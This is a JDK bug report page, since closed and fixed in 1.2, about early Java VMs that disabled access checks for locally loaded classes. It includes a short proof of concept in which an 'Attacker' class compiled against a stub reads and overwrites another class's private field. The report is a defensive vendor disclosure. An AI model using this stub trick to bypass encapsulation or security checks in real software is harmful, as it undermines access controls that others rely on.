Uploaded image for project: 'JDK'
  1. JDK
  2. JDK-4066506

the VM disables certain access checks for locally loaded classes.

    XMLWordPrintable

    Details

    • Type: Bug
    • Status: Closed
    • Priority: P4
    • Resolution: Fixed
    • Affects Version/s: 1.0.2, 1.1, 1.1.1, 1.1.2, 1.1.3
    • Fix Version/s: 1.2.0
    • Component/s: hotspot
    • Labels:
    • Subcomponent:
    • Resolved In Build:
      1.2beta3
    • CPU:
      generic, x86, sparc
    • OS:
      generic, solaris_2.4, solaris_2.5, solaris_2.5.1, solaris_2.6, windows_nt
    • Verification:
      Not verified

      Description

      As a workaround for a javac optimizer bug, the VM disables access checks for
      locally loaded classes. This includes accesses to private classes, private/
      protected fields and methods.

      This VM bug will be trivial to fix once javac optimizer is fixed so that it
      no longer generates bad class files. We have to make sure that the fixed VM
      won't break too much existing code.

      ==========================================================================
      Another report:

      Private members of a class may be accessed by
      foreign classes which are compiled against stub
      classes with public members of the same name.

      public class Victim {
      private int off_limits = 1;
      }

      public class Attacker
      {
          public static void main(String[] args)
          {
              Victim victim = new Victim();
              System.out.println("victim.off_limits=" + victim.off_limits);
              victim.off_limits = 0;
              System.out.println("victim.off_limits=" + victim.off_limits);
          }
      }

      public class Victim {
      // This is the stub class
      public int off_limits;
      }
      (1) compile Attacker with the stub Victim class around.
      (2) rename the stub Victim class compile the real Victim class
      (3) run the Attacker with the real Victim class present, and you may read
          and write to the off_limits member (variable or function).
      ==========================================================================

        Attachments

          Issue Links

            Activity

              People

              Assignee:
              sliangsunw Sheng Liang (Inactive)
              Reporter:
              sliangsunw Sheng Liang (Inactive)
              Votes:
              0 Vote for this issue
              Watchers:
              0 Start watching this issue

                Dates

                Created:
                Updated:
                Resolved:
                Imported:
                Indexed: